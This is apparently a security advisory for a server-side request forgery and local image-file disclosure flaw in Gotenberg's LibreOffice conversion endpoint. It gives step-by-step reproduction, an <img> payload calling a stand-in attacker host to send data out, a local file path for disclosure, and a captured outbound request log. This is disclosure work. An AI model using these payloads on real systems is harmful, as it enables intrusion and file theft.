Gotenberg: SSRF via LibreOffice document processing
Description
Summary
Server-Side Request Forgery (SSRF) vulnerability affecting the /forms/libreoffice/convert endpoint in Gotenberg v8.33.0 running with the default configuration.
By uploading a specially crafted DOCX document, an attacker can cause LibreOffice to automatically retrieve external resources during document conversion. As a result, outbound requests are made from the server hosting Gotenberg to attacker-controlled destinations.
Additionally, the same document mechanism appears capable of referencing image resources from the local filesystem. During conversion, LibreOffice attempts to load those resources and embed them into the resulting document.
PoC
External Resource Retrieval
Create a DOCX document containing the following content:
``
Upload the document to the /forms/libreoffice/convert endpoint.
During document processing, LibreOffice automatically retrieves the referenced external resource.
An outbound request can be observed on Burp Collaborator:
GET /secretendpoint?query=hacked HTTP/1.1
Host: gotenbergssrf.3cguefu7x55rg8z13mzu08i45vbmzcn1.oastify.com
User-Agent: LibreOffice 26.2.3.2 denylistedbackend/8.20.0 OpenSSL/3.5.6
Accept: */*
Accept-Encoding: deflate, gzip, br, zstd
Local Resource Retrieval
Create a DOCX document containing the following content:
``
Upload the document to the /forms/libreoffice/convert endpoint.
During document conversion, LibreOffice loads the referenced image from the local filesystem and embeds it into the generated output document.
Result in output document (used payload - ``):
Impact
The identified vulnerability enables two primary attack vectors:
Blind SSRF: The conversion service allows arbitrary outbound HTTP(S) requests during document processing. Although response bodies are not returned to the user, this can be leveraged for internal network discovery and interaction with services accessible only from the internal network or relying on network-level trust assumptions.
Local File Disclosure via Image Resource Loading: The conversion engine allows local filesystem resources to be accessed during document rendering when referenced as image sources in the uploaded document. By specifying local file paths in image tags, LibreOffice resolves and embeds the referenced image content into the generated output document. This behavior is limited to resources loadable as images during document conversion, rather than general file read primitives, but may still allow retrieval of sensitive files accessible to the LibreOffice process.
Notes
The issue was reproduced on Gotenberg v8.33.0 under the default configuration.
Given the impact of arbitrary outbound HTTP(S) requests (SSRF) and limited local filesystem resource disclosure via image resource loading during document conversion, this issue may warrant a CVE assignment.
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Affected products
1Patches
Vulnerability mechanics
Root cause
"LibreOffice automatically resolves external URLs and local file paths referenced in `<img>` tags during DOCX-to-PDF conversion without any sanitization or network restrictions."
Attack vector
An attacker uploads a specially crafted DOCX document containing `<img>` tags that reference external URLs (e.g., `http://[ATTACKER_HOST]/path?query=somedata`) or local file paths (e.g., `/path/to/image.png`) to the `/forms/libreoffice/convert` endpoint. During document processing, LibreOffice automatically retrieves the referenced resources, resulting in outbound HTTP(S) requests from the Gotenberg server (blind SSRF) or embedding of local image files into the output document (local file disclosure). The attack requires no authentication and works under the default configuration.
Affected code
The vulnerability affects the `/forms/libreoffice/convert` endpoint in Gotenberg v8.33.0 running with the default configuration. The endpoint passes user-uploaded DOCX documents to LibreOffice for conversion without sanitizing external resource references embedded in the document content.
What the fix does
The advisory does not include a published patch. The recommended remediation would involve restricting or disabling LibreOffice's ability to fetch external resources and access local filesystem paths during document conversion, for example by configuring a sandboxed environment or applying network-level egress filtering on the Gotenberg container. Until a fix is released, users should avoid exposing the `/forms/libreoffice/convert` endpoint to untrusted clients.
Preconditions
- configThe Gotenberg service must be running with the default configuration (no additional network restrictions or sandboxing).
- networkThe attacker must be able to reach the `/forms/libreoffice/convert` endpoint (no authentication required).
- inputThe attacker uploads a DOCX document containing `` tags with external URLs or local file paths.
Reproduction
1. Create a DOCX document containing `<img src="http://[ATTACKER_HOST]:[PORT]/path?query=somedata">`. 2. Upload the document to the `/forms/libreoffice/convert` endpoint. 3. Observe an outbound HTTP request from the Gotenberg server to the attacker-controlled host (e.g., via Burp Collaborator). 4. For local file disclosure, use `<img src="/usr/share/pixmaps/debian-logo.png">` and retrieve the output document containing the embedded image.
Generated on Jun 18, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
2News mentions
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